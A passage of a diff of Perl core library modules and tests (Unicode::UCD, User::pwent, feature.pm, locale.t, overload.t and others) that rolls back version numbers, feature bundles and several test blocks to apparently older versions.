$v_unicode_version; if ($v_unicode_version lt v6.0.0) { for my $i (0 .. 9) { @@ -1967,14 +1961,10 @@ sub num ($;$) { # function. my $ord = ord(substr($string, $i, 1)); my $digit = $ord - $zero_ord; - if ($digit < 0 || $digit > 9) { - $$retlen_ref = $i if $retlen_ref; - return; - } + return unless $digit >= 0 && $digit <= 9; $value = $value * 10 + $digit; } - $$retlen_ref = $length if $retlen_ref; return $value; } @@ -3635,18 +3625,15 @@ RETRY: unshift @invlist, 0; } } + foreach my $i (0 .. @invlist - 1) { + $invmap[$i] = ($i % 2 == 0) ? 'Y' : 'N' + } - if (@invlist) { - foreach my $i (0 .. @invlist - 1) { - $invmap[$i] = ($i % 2 == 0) ? 'Y' : 'N' - } - - # The map includes lines for all code points; add one for the range - # from 0 to the first Y. - if ($invlist[0] != 0) { - unshift @invlist, 0; - unshift @invmap, 'N'; - } + # The map includes lines for all code points; add one for the range + # from 0 to the first Y. + if ($invlist[0] != 0) { + unshift @invlist, 0; + unshift @invmap, 'N'; } } else { @@ -4109,9 +4096,10 @@ my $UNICODEVERSION; sub UnicodeVersion { unless (defined $UNICODEVERSION) { - my $versionfh = openunicode("version"); + openunicode(\$VERSIONFH, "version"); local $/ = "\n"; - chomp($UNICODEVERSION = <$versionfh>); + chomp($UNICODEVERSION = <$VERSIONFH>); + close($VERSIONFH); croak __PACKAGE__, "::VERSION: strange version '$UNICODEVERSION'" unless $UNICODEVERSION =~ /^\d+(?:\.\d+)+$/; } diff --git a/lib/Unicode/UCD.t b/lib/Unicode/UCD.t index 0538bda3055b..424f736f0d79 100644 --- a/lib/Unicode/UCD.t +++ b/lib/Unicode/UCD.t @@ -19,7 +19,7 @@ use Test::More; use Unicode::UCD qw(charinfo charprop charprops_all); -my $expected_version = '10.0.0'; +my $expected_version = '9.0.0'; my $current_version = Unicode::UCD::UnicodeVersion; my $v_unicode_version = pack "C*", split /\./, $current_version; my $unknown_script = ($v_unicode_version lt v5.0.0) @@ -819,19 +819,10 @@ use charnames (); # Don't use \N{} on things not in original Unicode # version; else will get a compilation error when this .t # is run on an older version. -my $ret_len; is(num("0"), 0, 'Verify num("0") == 0'); -is(num("0", \$ret_len), 0, 'Verify num("0", \$ret_len) == 0'); -is($ret_len, 1, "... and the returned length is 1"); -ok(! defined num("", \$ret_len), 'Verify num("", \$ret_len) isnt defined'); -is($ret_len, 0, "... and the returned length is 0"); -ok(! defined num("A", \$ret_len), 'Verify num("A") isnt defined'); -is($ret_len, 0, "... and the returned length is 0"); -is(num("98765", \$ret_len), 98765, 'Verify num("98765") == 98765'); -is($ret_len, 5, "... and the returned length is 5"); -ok(! defined num("98765\N{FULLWIDTH DIGIT FOUR}", \$ret_len), +is(num("98765"), 98765, 'Verify num("98765") == 98765'); +ok(! defined num("98765\N{FULLWIDTH DIGIT FOUR}"), 'Verify num("98765\N{FULLWIDTH DIGIT FOUR}") isnt defined'); -is($ret_len, 5, "... but the returned length is 5"); my $tai_lue_2; if ($v_unicode_version ge v4.1.0) { my $tai_lue_1 = charnames::string_vianame("NEW TAI LUE DIGIT ONE"); @@ -843,13 +834,8 @@ if ($v_unicode_version ge v4.1.0) { } if ($v_unicode_version ge v5.2.0) { ok(! defined num($tai_lue_2 - . charnames::string_vianame("NEW TAI LUE THAM DIGIT ONE"), \$ret_len), + . charnames::string_vianame("NEW TAI LUE THAM DIGIT ONE")), 'Verify num("\N{NEW TAI LUE DIGIT TWO}\N{NEW TAI LUE THAM DIGIT ONE}") isnt defined'); - is($ret_len, 1, "... but the returned length is 1"); - ok(! defined num(charnames::string_vianame("NEW TAI LUE THAM DIGIT ONE") - . $tai_lue_2, \$ret_len), - 'Verify num("\N{NEW TAI LUE THAM DIGIT ONE}\N{NEW TAI LUE DIGIT TWO}") isnt defined'); - is($ret_len, 1, "... but the returned length is 1"); } if ($v_unicode_version ge v5.1.0) { my $cham_0 = charnames::string_vianame("CHAM DIGIT ZERO"); @@ -857,10 +843,8 @@ if ($v_unicode_version ge v5.1.0) { 'Verify num("\N{CHAM DIGIT ZERO}\N{CHAM DIGIT THREE}") == 3'); if ($v_unicode_version ge v5.2.0) { ok(! defined num( $cham_0 - . charnames::string_vianame("JAVANESE DIGIT NINE"), - \$ret_len), + . charnames::string_vianame("JAVANESE DIGIT NINE")), 'Verify num("\N{CHAM DIGIT ZERO}\N{JAVANESE DIGIT NINE}") isnt defined'); - is($ret_len, 1, "... but the returned length is 1"); } } is(num("\N{SUPERSCRIPT TWO}"), 2, 'Verify num("\N{SUPERSCRIPT TWO} == 2'); diff --git a/lib/User/grent.pm b/lib/User/grent.pm index b66771f2e12d..ce6ee5ea447d 100644 --- a/lib/User/grent.pm +++ b/lib/User/grent.pm @@ -2,15 +2,15 @@ package User::grent; use strict; use 5.006_001; -our $VERSION = '1.02'; +our $VERSION = '1.01'; our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS); -our ($gr_name, $gr_gid, $gr_passwd, $gr_mem, @gr_members); BEGIN { use Exporter (); @EXPORT = qw(getgrent getgrgid getgrnam getgr); @EXPORT_OK = qw($gr_name $gr_gid $gr_passwd $gr_mem @gr_members); %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] ); } +use vars @EXPORT_OK; # Class::Struct forbids use of @ISA sub import { goto &Exporter::import } diff --git a/lib/User/pwent.pm b/lib/User/pwent.pm index 3f82e8c86151..91d23bd3f68d 100644 --- a/lib/User/pwent.pm +++ b/lib/User/pwent.pm @@ -1,7 +1,7 @@ package User::pwent; use 5.006; -our $VERSION = '1.01'; +our $VERSION = '1.00'; use strict; use warnings; @@ -10,12 +10,6 @@ use Config; use Carp; our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS); -our ( $pw_name, $pw_passwd, $pw_uid, $pw_gid, - $pw_gecos, $pw_dir, $pw_shell, - $pw_expire, $pw_change, $pw_class, - $pw_age, - $pw_quota, $pw_comment, - ); BEGIN { use Exporter (); @EXPORT = qw(getpwent getpwuid getpwnam getpw); @@ -27,12 +21,15 @@ BEGIN { $pw_expire $pw_change $pw_class $pw_age $pw_quota $pw_comment + $pw_expire + ); %EXPORT_TAGS = ( FIELDS => [ grep(/^\$pw_/, @EXPORT_OK), @EXPORT ], ALL => [ @EXPORT, @EXPORT_OK ], ); } +use vars grep /^\$pw_/, @EXPORT_OK; # # XXX: these mean somebody hacked this module's source diff --git a/lib/_charnames.pm b/lib/_charnames.pm index c6169d16f86d..444eb1d6f7ec 100644 --- a/lib/_charnames.pm +++ b/lib/_charnames.pm @@ -22,8 +22,8 @@ $Carp::Internal{ (__PACKAGE__) } = 1; # The official names with their code points are stored in a table in # lib/unicore/Name.pl which is read in as a large string (almost 3/4 Mb in # Unicode 6.0). Each code point/name combination is separated by a \n in the -# string. (Some of the CJK and the Hangul syllable names are instead -# determined algorithmically via subroutines stored instead in +# string. (Some of the CJK and the Hangul syllable names are determined +# instead algorithmically via subroutines stored instead in # lib/unicore/Name.pm). Because of the large size of this table, it isn't # converted into hashes for faster lookup. # diff --git a/lib/blib.pm b/lib/blib.pm index f8fd500d5e6d..b3ee3202b1e6 100644 --- a/lib/blib.pm +++ b/lib/blib.pm @@ -39,8 +39,9 @@ Nick Ing-Simmons nik@tiuk.ti.com use Cwd; use File::Spec; -our $VERSION = '1.07'; -our $Verbose = 0; +use vars qw($VERSION $Verbose); +$VERSION = '1.06'; +$Verbose = 0; sub import { diff --git a/lib/bytes.pm b/lib/bytes.pm index bc4304a509c4..f0022eeb51a8 100644 --- a/lib/bytes.pm +++ b/lib/bytes.pm @@ -1,6 +1,6 @@ package bytes; -our $VERSION = '1.06'; +our $VERSION = '1.05'; $bytes::hint_bits = 0x00000008; @@ -82,6 +82,8 @@ implict) encoding using the L module: Or, if performance is needed and you are only interested in the UTF-8 representation: + use utf8; + utf8::encode(my $utf8_byte_string = $string); C can be used to reverse the effect of C within the diff --git a/lib/feature.pm b/lib/feature.pm index 57746af86cdf..ed13273f111c 100644 --- a/lib/feature.pm +++ b/lib/feature.pm @@ -5,7 +5,7 @@ package feature; -our $VERSION = '1.53'; +our $VERSION = '1.47'; our %feature = ( fc => 'feature_fc', @@ -29,7 +29,6 @@ our %feature_bundle = ( "5.11" => [qw(array_base say state switch unicode_strings)], "5.15" => [qw(current_sub evalbytes fc say state switch unicode_eval unicode_strings)], "5.23" => [qw(current_sub evalbytes fc postderef_qq say state switch unicode_eval unicode_strings)], - "5.27" => [qw(bitwise current_sub evalbytes fc postderef_qq say state switch unicode_eval unicode_strings)], "all" => [qw(array_base bitwise current_sub declared_refs evalbytes fc postderef_qq refaliasing say signatures state switch unicode_eval unicode_strings)], "default" => [qw(array_base)], ); @@ -47,9 +46,6 @@ $feature_bundle{"5.22"} = $feature_bundle{"5.15"}; $feature_bundle{"5.24"} = $feature_bundle{"5.23"}; $feature_bundle{"5.25"} = $feature_bundle{"5.23"}; $feature_bundle{"5.26"} = $feature_bundle{"5.23"}; -$feature_bundle{"5.28"} = $feature_bundle{"5.27"}; -$feature_bundle{"5.29"} = $feature_bundle{"5.27"}; -$feature_bundle{"5.30"} = $feature_bundle{"5.27"}; $feature_bundle{"5.9.5"} = $feature_bundle{"5.10"}; my %noops = ( postderef => 1, @@ -58,7 +54,7 @@ my %noops = ( our $hint_shift = 26; our $hint_mask = 0x1c000000; -our @hint_bundles = qw( default 5.10 5.11 5.15 5.23 5.27 ); +our @hint_bundles = qw( default 5.10 5.11 5.15 5.23 ); # This gets set (for now) in $^H as well as in %^H, # for runtime speed of the uc/lc/ucfirst/lcfirst functions. @@ -179,9 +175,8 @@ C subpragma is B recommended. This feature is available starting with Perl 5.12; was almost fully implemented in Perl 5.14; and extended in Perl 5.16 to cover C; -was extended further in Perl 5.26 to cover L; and was extended again in Perl 5.28 to -cover L. +and extended further in Perl 5.26 to cover L. =head2 The 'unicode_eval' and 'evalbytes' features @@ -318,6 +313,13 @@ This feature is available from Perl 5.22 onwards. =head2 The 'bitwise' feature +B: This feature is still experimental and the implementation may +change in future versions of Perl. For this reason, Perl will +warn when you use the feature, unless you have explicitly disabled the +warning: + + no warnings "experimental::bitwise"; + This makes the four standard bitwise operators (C<& | ^ ~>) treat their operands consistently as numbers, and introduces four new dotted operators (C<&. |. ^. ~.>) that treat their operands consistently as strings. The @@ -325,10 +327,7 @@ same applies to the assignment variants (C<&= |= ^= &.= |.= ^.=>). See L for details. -This feature is available from Perl 5.22 onwards. Starting in Perl 5.28, -C will enable the feature. Before 5.28, it was still -experimental and would emit a warning in the "experimental::bitwise" -category. +This feature is available from Perl 5.22 onwards. =head2 The 'declared_refs' feature @@ -386,14 +385,6 @@ The following feature bundles are available: unicode_eval evalbytes current_sub fc postderef_qq - :5.28 say state switch unicode_strings - unicode_eval evalbytes current_sub fc - postderef_qq bitwise - - :5.30 say state switch unicode_strings - unicode_eval evalbytes current_sub fc - postderef_qq bitwise - The C<:default> bundle represents the feature set that is enabled before any C or C declaration. @@ -443,9 +434,6 @@ with the same effect. If the required version is older than Perl 5.10, the ":default" feature bundle is automatically loaded instead. -Unlike C, saying C (or any higher version) -also does the equivalent of C; see L for details. - =back =cut diff --git a/lib/locale.t b/lib/locale.t index 17931c894d6f..da8d10ecb0e9 100644 --- a/lib/locale.t +++ b/lib/locale.t @@ -5,31 +5,9 @@ # without using 'eval' as much as possible, which might cloud the issue, the # crucial parts of the code are duplicated in a block for each pragma. -# Unfortunately, many systems have defective locale definitions. This test -# file looks for both perl bugs and bugs in the system's locale definitions. -# It can be difficult to tease apart which is which. For the latter, there -# are tests that are based on the POSIX standard. A character isn't supposed -# to be both a space and graphic, for example. Another example is if a -# character is the uppercase of another, that other should be the lowercase of -# the first. Including tests for these allows you to test for defective -# locales, as described in perllocale. The way this file distinguishes -# between defective locales, and perl bugs is to see what percentage of -# locales fail a given test. If it's a lot, then it's more likely to be a -# perl bug; only a few, those particular locales are likely defective. In -# that case the failing tests are marked TODO. (They should be reported to -# the vendor, however; but it's not perl's problem.) In some cases, this -# script has caused tickets to be filed against perl which turn out to be the -# platform's bug, but a higher percentage of locales are failing than the -# built-in cut-off point. For those platforms, code has been added to -# increase the cut-off, so those platforms don't trigger failing test reports. -# Ideally, the platforms would get fixed and that code would be changed to -# only kick-in when run on versions that are earlier than the fixed one. But, -# this rarely happens in practice. - # To make a TODO test, add the string 'TODO' to its %test_names value my $is_ebcdic = ord("A") == 193; -my $os = lc $^O; no warnings 'locale'; # We test even weird locales; and do some scary things # in ok locales @@ -51,7 +29,7 @@ BEGIN { } use strict; -use feature 'fc'; +use feature 'fc', 'postderef'; # =1 adds debugging output; =2 increases the verbosity somewhat our $debug = $ENV{PERL_DEBUG_FULL_TEST} // 0; @@ -62,9 +40,9 @@ our $debug = $ENV{PERL_DEBUG_FULL_TEST} // 0; # (There aren't 1000 locales currently in existence, so 99.9 works) # EBCDIC os390 has more locales fail than normal, because it has locales that # move various critical characters like '['. -my $acceptable_failure_percentage = ($os =~ / ^ ( aix ) $ /x) +my $acceptable_failure_percentage = ($^O =~ / ^ ( AIX ) $ /ix) ? 99.9 - : ($os =~ / ^ ( os390 ) $ /x) + : ($^O =~ / ^ ( os390 ) $ /ix) ? 10 : 5; @@ -77,17 +55,11 @@ my %known_bad_locales = ( irix => qr/ ^ (?: cs | hu | sk ) $/x, darwin => qr/ ^ lt_LT.ISO8859 /ix, os390 => qr/ ^ italian /ix, - netbsd => qr/\bISO8859-2\b/i, - - # This may be the same bug as the cygwin below; it's - # generating malformed UTF-8 on the radix being - # mulit-byte - solaris => qr/ ^ ( ar_ | pa_ ) /x, ); # cygwin isn't returning proper radix length in this locale, but supposedly to # be fixed in later versions. -if ($os eq 'cygwin' && version->new(($Config{osvers} =~ /^(\d+(?:\.\d+)+)/)[0]) le v2.4.1) { +if ($^O eq 'cygwin' && version->new(($Config{osvers} =~ /^(\d+(?:\.\d+)+)/)[0]) le v2.4.1) { $known_bad_locales{'cygwin'} = qr/ ^ ps_AF /ix; } @@ -783,9 +755,7 @@ debug "Scanning for locales...\n"; require POSIX; import POSIX ':locale_h'; my $categories = [ 'LC_CTYPE', 'LC_NUMERIC', 'LC_ALL' ]; -debug "Scanning for just compatible"; my @Locale = find_locales($categories); -debug "Scanning for even incompatible"; my @include_incompatible_locales = find_locales($categories, 'even incompatible locales'); @@ -813,7 +783,6 @@ if (@Locale < @include_incompatible_locales) { push @warnings, ($warning =~ s/\n/\n# /sgr); }; - debug "Trying incompatible $bad_locale"; my $ret = setlocale(&POSIX::LC_CTYPE, $bad_locale); my $message = "testing of locale '$bad_locale' is skipped"; @@ -999,8 +968,8 @@ sub report_result { else { $message //= ""; $message = " ($message)" if $message; - $Known_bad_locale{$i}{$Locale} = 1 if exists $known_bad_locales{$os} - && $Locale =~ $known_bad_locales{$os}; + $Known_bad_locale{$i}{$Locale} = 1 if exists $known_bad_locales{$^O} + && $Locale =~ $known_bad_locales{$^O}; $Problem{$i}{$Locale} = 1; debug "failed $i ($test_names{$i}) with locale '$Locale'$message\n"; } @@ -2242,7 +2211,6 @@ foreach my $Locale (@Locale) { report_result($Locale, ++$locales_test_number, $ok15); $test_names{$locales_test_number} = 'Verify that a number with a UTF-8 radix has a UTF-8 stringification'; - $problematical_tests{$locales_test_number} = 1; report_result($Locale, ++$locales_test_number, $ok16); $test_names{$locales_test_number} = 'Verify that a sprintf of a number with a UTF-8 radix yields UTF-8'; @@ -2264,7 +2232,7 @@ foreach my $Locale (@Locale) { # OS X 10.9.3 report_result($Locale, ++$locales_test_number, $ok21); - $test_names{$locales_test_number} = '"$!" is ASCII-only outside of locale scope'; + $test_names{$locales_test_number} = '"$!" is ASCII only outside of locale scope'; debug "$first_f_test..$locales_test_number: \$f = $f, \$g = $g, back to locale = $Locale\n"; @@ -2483,30 +2451,28 @@ my $final_locales_test_number = $locales_test_number; TEST_NUM: foreach $test_num ($first_locales_test_number..$final_locales_test_number) { - my $has_non_global_failure = $Problem{$test_num} - || ! defined $Okay{$test_num} - || ! @{$Okay{$test_num}}; - print "not " if %setlocale_failed || $has_non_global_failure; - print "ok $test_num"; - $test_names{$test_num} = "" unless defined $test_names{$test_num}; - - # If TODO is in the test name, make it thus - my $todo = $test_names{$test_num} =~ s/\s*TODO\s*//; - print " $test_names{$test_num}"; - if ($todo) { - print " # TODO\n"; - } - elsif (%setlocale_failed || ! $has_non_global_failure) { - print "\n"; + if (%setlocale_failed) { + print "not "; } - elsif ($has_non_global_failure) { + elsif ($Problem{$test_num} + || ! defined $Okay{$test_num} + || ! @{$Okay{$test_num}}) + { + if (defined $not_necessarily_a_problem_test_number + && $test_num == $not_necessarily_a_problem_test_number) + { + print "# The failure of test $not_necessarily_a_problem_test_number is not necessarily fatal.\n"; + print "# It usually indicates a problem in the environment,\n"; + print "# not in Perl itself.\n"; + } # If there are any locales that pass this test, or are known-bad, it - # may be that there are enough passes that we TODO the failure, but - # only for tests that we have decided can be problematical. - if ( ($Okay{$test_num} || $Known_bad_locale{$test_num}) + # may be that there are enough passes that we TODO the failure. + if (($Okay{$test_num} || $Known_bad_locale{$test_num}) && grep { $_ == $test_num } keys %problematical_tests) { + no warnings 'experimental::postderef'; + # Don't count the known-bad failures when calculating the # percentage that fail. my $known_failures = (exists $Known_bad_locale{$test_num}) @@ -2518,7 +2484,8 @@ foreach $test_num ($first_locales_test_number..$final_locales_test_number) { # Specially handle failures where only known-bad locales fail. # This makes the diagnositics clearer. if ($adjusted_failures <= 0) { - print " # TODO fails only on known bad locales: ", + print "not ok $test_num $test_names{$test_num} # TODO fails only on ", + "known bad locales: ", join " ", keys $Known_bad_locale{$test_num}->%*, "\n"; next TEST_NUM; } @@ -2527,10 +2494,15 @@ foreach $test_num ($first_locales_test_number..$final_locales_test_number) { my $percent_fail = (int(.5 + (1000 * $adjusted_failures / scalar(@Locale)))) / 10; - $todo = $percent_fail < $acceptable_failure_percentage; - print " # TODO" if $todo; - print "\n"; - + if ($percent_fail < $acceptable_failure_percentage) { + if (! $debug) { + $test_names{$test_num} .= 'TODO'; + print "# ", 100 - $percent_fail, "% of locales not known to be problematic on this platform\n"; + print "# pass the following test, so it is likely that the failures\n"; + print "# are errors in the locale definitions. The test is marked TODO, as the\n"; + print "# problem is not likely to be Perl's\n"; + } + } if ($debug) { print "# $percent_fail% of locales (", scalar(keys $Problem{$test_num}->%*), @@ -2540,14 +2512,8 @@ foreach $test_num ($first_locales_test_number..$final_locales_test_number) { $acceptable_failure_percentage, "%)\n"; } - elsif ($todo) { - print "# ", 100 - $percent_fail, "% of locales not known to be problematic on this platform\n"; - print "# pass the above test, so it is likely that the failures\n"; - print "# are errors in the locale definitions. The test is marked TODO, as the\n"; - print "# problem is not likely to be Perl's\n"; - } } - + print "#\n"; if ($debug) { print "# The code points that had this failure are given above. Look for lines\n"; print "# that match 'failed $test_num'\n"; @@ -2556,19 +2522,21 @@ foreach $test_num ($first_locales_test_number..$final_locales_test_number) { print "# For more details, rerun, with environment variable PERL_DEBUG_FULL_TEST=1.\n"; print "# Then look at that output for lines that match 'failed $test_num'\n"; } - if (defined $not_necessarily_a_problem_test_number - && $test_num == $not_necessarily_a_problem_test_number) - { - print "# The failure of test $not_necessarily_a_problem_test_number is not necessarily fatal.\n"; - print "# It usually indicates a problem in the environment,\n"; - print "# not in Perl itself.\n"; - } + print "not "; } + print "ok $test_num"; + if (defined $test_names{$test_num}) { + # If TODO is in the test name, make it thus + my $todo = $test_names{$test_num} =~ s/TODO\s*//; + print " $test_names{$test_num}"; + print " # TODO" if $todo; + } + print "\n"; } $test_num = $final_locales_test_number; -unless ( $os =~ m!^(dragonfly|openbsd|bitrig|mirbsd)$! ) { +unless ( $^O =~ m!^(dragonfly|openbsd|bitrig|mirbsd)$! ) { # perl #115808 use warnings; my $warned = 0; @@ -2713,8 +2681,8 @@ foreach ($first_locales_test_number..$final_locales_test_number) { my @f = sort keys %{ $Problem{$_} }; # Don't list the failures caused by known-bad locales. - if (exists $known_bad_locales{$os}) { - @f = grep { $_ !~ $known_bad_locales{$os} } @f; + if (exists $known_bad_locales{$^O}) { + @f = grep { $_ !~ $known_bad_locales{$^O} } @f; next unless @f; } my $f = join(" ", @f); @@ -2795,7 +2763,7 @@ if ($didwarn) { } } -if (exists $known_bad_locales{$os} && ! %Known_bad_locale) { +if (exists $known_bad_locales{$^O} && ! %Known_bad_locale) { $test_num++; print "ok $test_num $^O no longer has known bad locales # TODO\n"; } diff --git a/lib/locale_threads.t b/lib/locale_threads.t index cda570be3a3d..72d322ee3739 100644 --- a/lib/locale_threads.t +++ b/lib/locale_threads.t @@ -11,19 +11,14 @@ BEGIN { skip_all("No locales") unless locales_enabled(); skip_all_without_config('useithreads'); $| = 1; - eval { require POSIX; POSIX->import(qw(locale_h unistd_h)) }; - if ($@) { - skip_all("could not load the POSIX module"); # running minitest? - } } -# reset the locale environment -local @ENV{'LANG', (grep /^LC_/, keys %ENV)}; - SKIP: { # perl #127708 my @locales = grep { $_ !~ / ^ C \b | POSIX /x } find_locales('LC_MESSAGES'); skip("No valid locale to test with", 1) unless @locales; + # reset the locale environment + local @ENV{'LANG', (grep /^LC_/, keys %ENV)}; local $ENV{LC_MESSAGES} = $locales[0]; # We're going to try with all possible error numbers on this platform @@ -54,66 +49,4 @@ SKIP: { # perl #127708 pass("Didn't segfault"); } -SKIP: { - skip("POSIX version doesn't support thread-safe locale operations", 1) - unless ${^SAFE_LOCALES}; - - my @locales = find_locales( 'LC_NUMERIC' ); - skip("No LC_NUMERIC locales available", 1) unless @locales; - - my $dot = ""; - my $comma = ""; - for (@locales) { # prefer C for the base if available - use locale; - setlocale(LC_NUMERIC, $_) or next; - my $in = 4.2; # avoid any constant folding bugs - if ((my $s = sprintf("%g", $in)) eq "4.2") { - $dot ||= $_; - } else { - my $radix = localeconv()->{decimal_point}; - $comma ||= $_ if $radix eq ','; - } - - last if $dot && $comma; - } - - # See if multiple threads can simultaneously change the locale, and give - # the expected radix results. On systems without a comma radix locale, - # run this anyway skipping the use of that, to verify that we don't - # segfault - fresh_perl_is(" - use threads; - use strict; - use warnings; - use POSIX qw(locale_h); - - my \$result = 1; - - my \@threads = map +threads->create(sub { - sleep 0.1; - for (1..5_000) { - my \$s; - my \$in = 4.2; # avoid any constant folding bugs - - if ('$comma') { - setlocale(&LC_NUMERIC, '$comma'); - use locale; - \$s = sprintf('%g', \$in); - return 0 if (\$s ne '4,2'); - } - - setlocale(&LC_NUMERIC, '$dot'); - \$s = sprintf('%g', \$in); - return 0 if (\$s ne '4.2'); - } - - return 1; - - }), (0..3); - \$result &= \$_->join for splice \@threads; - print \$result", - 1, {}, "Verify there were no failures with simultaneous running threads" - ); -} - -done_testing(); +done_testing; diff --git a/lib/overload.pm b/lib/overload.pm index f7d5d0f7cf93..ba563143f1d8 100644 --- a/lib/overload.pm +++ b/lib/overload.pm @@ -1,6 +1,6 @@ package overload; -our $VERSION = '1.30'; +our $VERSION = '1.28'; %ops = ( with_assign => "+ - * / % ** << >> x .", @@ -310,7 +310,7 @@ An appropriate implementation of C<--> might look like # ... sub decr { --${$_[0]}; } -If the "bitwise" feature is enabled (see L), a fifth +If the experimental "bitwise" feature is enabled (see L), a fifth TRUE argument is passed to subroutines handling C<&>, C<|>, C<^> and C<~>. This indicates that the caller is expecting numeric behaviour. The fourth argument will be C, as that position (C<$_[3]>) is reserved for use @@ -693,7 +693,7 @@ The specified function will be passed four parameters. The first three arguments coincide with those that would have been passed to the corresponding method if it had been defined. The fourth argument is the C key for that missing -method. If the "bitwise" feature is enabled (see L), +method. If the experimental "bitwise" feature is enabled (see L), a fifth TRUE argument is passed to subroutines handling C<&>, C<|>, C<^> and C<~> to indicate that the caller is expecting numeric behaviour. For example, if C<$a> is an object blessed into a package declaring diff --git a/lib/overload.t b/lib/overload.t index 055daab30ff7..d778776ef7f7 100644 --- a/lib/overload.t +++ b/lib/overload.t @@ -48,7 +48,7 @@ package main; $| = 1; BEGIN { require './test.pl'; require './charset_tools.pl' } -plan tests => 5362; +plan tests => 5215; use Scalar::Util qw(tainted); @@ -2816,16 +2816,6 @@ package bitops2 { 'experimental "bitwise" ops with nomethod' } -package length_utf8 { - use overload '""' => sub { "\x{100}" }; - my $o = bless []; -print length $o, "\n"; - - ::is length($o), 1, "overloaded utf8 length"; - ::is "$o", "\x{100}", "overloaded utf8 value"; -} - - { # undefining the overload stash -- KEEP THIS TEST LAST package ant; use overload '+' => 'onion'; @@ -2836,341 +2826,4 @@ print length $o, "\n"; } -# test various aspects of string concat overloading, especially where -# multiple concats etc are optimised into a single multiconcat op - -package Concat { - - my $id; - - # append a brief description of @_ to $id - sub id { - my @a = map ref $_ ? "[" . $_->[0] . "]" : - !defined $_ ? "u" : - $_, - @_; - $id .= '(' . join (',', @a) . ')'; - } - - use overload - '.' => sub { - id('.', @_); - my ($l, $r, $rev) = @_; - ($l, $r) = map ref $_ ? $_->[0] : $_, $l, $r; - ($l,$r) = ($r, $l) if $rev; - bless [ $l . $r ]; - }, - - '.=' => sub { - id('.=', @_); - my ($l, $r, $rev) = @_; - my ($ll, $rr) = map ref $_ ? $_->[0] : $_, $l, $r; - die "Unexpected reverse in .=" if $rev; - $l->[0] .= ref $r ? $r->[0] : $r; - $l; - }, - - '=' => sub { - id('=', @_); - bless [ $_[0][0] ]; - }, - - '""' => sub { - id('""', @_); - $_[0][0]; - }, - ; - - my $a = 'a'; - my $b = 'b'; - my $c = 'c'; - my $A = bless [ 'A' ]; - my $B = bless [ 'B' ]; - my $C = bless [ 'C' ]; - - my ($r, $R); - - - # like cc, but with $is_ref set to 1 - sub c { - my ($expr, $expect, $exp_id) = @_; - cc($expr, $expect, 1, $exp_id); - } - - # eval $expr, and see if it returns $expect, and whether - # the returned value is a ref ($is_ref). Finally, check that - # $id, which has accumulated info from all overload method calls, - # matches $exp_id. - - sub cc { - my ($expr, $expect, $is_ref, $exp_id) = @_; - - $id = ''; - $r = 'r'; - $R = bless ['R']; - - my $got = eval $expr; - die "eval failed: $@" if $@; - ::is "$got", $expect, "expect: $expr"; - ::is $id, $exp_id, "id: $expr"; - ::is ref($got), ($is_ref ? 'Concat' : ''), "is_ref: $expr"; - } - - # single concats - - c '$r=$A.$b', 'Ab', '(.,[A],b,)("",[Ab],u,)'; - c '$r=$a.$B', 'aB', '(.,[B],a,1)("",[aB],u,)'; - c '$r=$A.$B', 'AB', '(.,[A],[B],)("",[AB],u,)'; - c '$R.=$a', 'Ra', '(.=,[R],a,u)("",[Ra],u,)'; - c '$R.=$A', 'RA', '(.=,[R],[A],u)("",[RA],u,)'; - - # two concats - - c '$r=$A.$b.$c', 'Abc', '(.,[A],b,)(.=,[Ab],c,u)("",[Abc],u,)'; - c '$r=$A.($b.$c)', 'Abc', '(.,[A],bc,)("",[Abc],u,)'; - c '$r=$a.$B.$c', 'aBc', '(.,[B],a,1)(.=,[aB],c,u)("",[aBc],u,)'; - c '$r=$a.($B.$c)', 'aBc', '(.,[B],c,)(.,[Bc],a,1)("",[aBc],u,)'; - c '$r=$a.$b.$C', 'abC', '(.,[C],ab,1)("",[abC],u,)'; - c '$r=$a.($b.$C)', 'abC', '(.,[C],b,1)(.,[bC],a,1)("",[abC],u,)'; - - # two concats plus mutator - - c '$r.=$A.$b.$c', 'rAbc', '(.,[A],b,)(.=,[Ab],c,u)(.,[Abc],r,1)' - .'("",[rAbc],u,)'; - c '$r.=$A.($b.$c)', 'rAbc', '(.,[A],bc,)(.,[Abc],r,1)("",[rAbc],u,)'; - c '$r.=$a.$B.$c', 'raBc', '(.,[B],a,1)(.=,[aB],c,u)(.,[aBc],r,1)' - .'("",[raBc],u,)'; - c '$r.=$a.($B.$c)', 'raBc', '(.,[B],c,)(.,[Bc],a,1)(.,[aBc],r,1)' - .'("",[raBc],u,)'; - c '$r.=$a.$b.$C', 'rabC', '(.,[C],ab,1)(.,[abC],r,1)("",[rabC],u,)'; - c '$r.=$a.($b.$C)', 'rabC', '(.,[C],b,1)(.,[bC],a,1)(.,[abC],r,1)' - .'("",[rabC],u,)'; - - c '$R.=$A.$b.$c', 'RAbc', '(.,[A],b,)(.=,[Ab],c,u)(.=,[R],[Abc],u)' - .'("",[RAbc],u,)'; - c '$R.=$A.($b.$c)', 'RAbc', '(.,[A],bc,)(.=,[R],[Abc],u)("",[RAbc],u,)'; - c '$R.=$a.$B.$c', 'RaBc', '(.,[B],a,1)(.=,[aB],c,u)(.=,[R],[aBc],u)' - .'("",[RaBc],u,)'; - c '$R.=$a.($B.$c)', 'RaBc', '(.,[B],c,)(.,[Bc],a,1)(.=,[R],[aBc],u)' - .'("",[RaBc],u,)'; - c '$R.=$a.$b.$C', 'RabC', '(.,[C],ab,1)(.=,[R],[abC],u)("",[RabC],u,)'; - c '$R.=$a.($b.$C)', 'RabC', '(.,[C],b,1)(.,[bC],a,1)(.=,[R],[abC],u)' - .'("",[RabC],u,)'; - - # concat over assign - - c '($R.=$a).$B.$c', 'RaBc', '(.=,[R],a,u)(.,[Ra],[B],)(.=,[RaB],c,u)' - .'("",[RaBc],u,)'; - ::is "$R", "Ra", 'R in concat over assign'; - - - # nested mutators - - c '(($R.=$a).=$b).=$c', 'Rabc', '(.=,[R],a,u)(=,[Ra],u,)(.=,[Ra],b,u)' - . '(=,[Rab],u,)(.=,[Rab],c,u)("",[Rabc],u,)'; - c '(($R.=$a).=$B).=$c', 'RaBc', '(.=,[R],a,u)(=,[Ra],u,)(.=,[Ra],[B],u)' - . '(=,[RaB],u,)(.=,[RaB],c,u)("",[RaBc],u,)'; - - # plain SV on both LHS and RHS with RHS object - - c '$r=$r.$A.$r', 'rAr', '(.,[A],r,1)(.=,[rA],r,u)("",[rAr],u,)'; - c '$r.=$r.$A.$r', 